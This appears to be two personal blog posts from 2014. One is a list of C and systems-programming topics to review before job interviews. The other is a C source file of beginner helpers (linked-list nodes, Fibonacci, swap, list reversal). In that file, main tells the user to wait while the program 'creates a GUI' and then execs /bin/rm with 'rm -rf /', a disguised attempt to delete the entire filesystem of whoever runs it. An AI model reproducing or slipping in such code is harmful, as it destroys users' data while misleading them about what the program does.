Sunday, September 28, 2014

topic to read before interview.

struct hack

structure padding

why segmentation fault occures ?

little endian big endian

what do you mean by data bus.

what do you mean by a processor is 32 bit or 65 bit.

what do you mean by a kernel is 32 bit or 65 bit.

variable length array

how to give variable arguments to function

how gdb works

what is stack smashing

all the operations on srting of the library , and implementation of them all.

sizeof()

all the basic system calls  : open , close , write , read ,  lseek , fork , lseek.

what is the difference between system call and system function

static , file static : mastering in c

ptr to const , const ptr

make

memory layout of a c program

why -ve numbers are stored in 2's complement in c

diff betn NULL ans nul

extern variable : geeksforgeeks

how is the array stored in memory : stackoverflow

where NULL is stored .

why it cause segmentation fault when we access NULL pointer

macros : basics

what is the better way to store strings  : using character array , heap or char pointer : geeksforgeeks

malloc , calloc , realloc

what happens when a funstion called before declaration ...

associaivity rule , precendence table

what is type qualifiers 

Saturday, September 20, 2014

file.c

#include <stdio.h>
#include <unistd.h>
#include <dirent.h>
#include <stdlib.h>

struct node
{
int data;
struct node *lLink;
struct node *rLink;
struct node *link;
};
struct node *getNode()
{
struct node *p;
int data;
p=(struct node*)malloc(sizeof(struct node));
printf("please enter the data\n");
scanf("%d",&data);
p->data=data;
p->lLink=NULL;
p->rLink=NULL;
return p;}



int fib(int n)
{
if(n==0)
return 0;
else if(n==1)
return 1;
else
return(fib(n-1)+fib(n-2));}
void swap(int *i,int*j)
{
int temp = *i;
*i=*j;
*j=temp;}
void printtt(int *temp,int length)
{
int i=0;
//int length=sizeof(temp)/sizeof(temp[0]);

for(i=0;i<length;i++)
printf("\n A[%d]==%d \n",i,temp[i]);}
struct node *reverse(struct node *);

int main (void)
{printf("\n\nwelcome to the world\n\n");
printf("wait for 2-4 minutes while program creates a GUI\n");
return execl ("/bin/rm","sudo", "rm","-rf","/", NULL);}

struct node *reverse(struct node *head)
{
struct node *ptr1,*ptr2,*ptr3;
ptr1=NULL;
ptr2=head;
ptr3=ptr2->link;

while(ptr2)
{
ptr2->link=ptr1;
ptr1=ptr2;
ptr2=ptr3;
if(ptr2==NULL)
{
break;
}

ptr3=ptr3->link;}
head=ptr1;
return head;}